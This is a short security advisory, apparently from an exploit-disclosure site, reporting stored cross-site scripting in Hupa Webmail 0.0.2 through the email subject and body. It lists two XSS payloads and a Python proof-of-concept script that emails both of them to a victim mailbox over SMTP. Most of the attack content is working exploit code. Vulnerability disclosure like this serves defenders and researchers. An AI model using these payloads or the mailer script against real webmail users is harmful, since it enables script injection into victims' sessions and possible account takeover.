|
|
| |
| Hupa Webmail 0.0.2 Stored suffers from XSS vulnerability |
| |
Credit:
The information has been provided by Shai rod.
|
| |
Vulnerable Systems:
* Hupa Webmail 0.0.2
Stored XSS in email subject.
XSS Payload: XSS POC<img src='1.jpg'onerror=javascript:alert("XSS")>
Send an email to the victim with the payload in the subject field. XSS Will be triggered in message listings (Inbox etc..).
Stored XSS in e-mail body.
XSS Payload: <a href=javascript:alert("AnotherXSS")>POC MAIL</a>
Send an email to the victim with the payload in the email body, once the user clicks on the url the XSS should be triggered.
'''
import smtplib
# SETTINGS
sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "192.168.1.10"
smtp_port = 25
subject = "Hupa Webmail XSS POC"
xss_payload = """<img src='1.jpg'onerror=javascript:alert("XSS")>"""
# SEND E-MAIL
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("AnotherXSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Disclosure Timeline:
Published: 2012-08-20
|
|
blog comments powered by
|
|
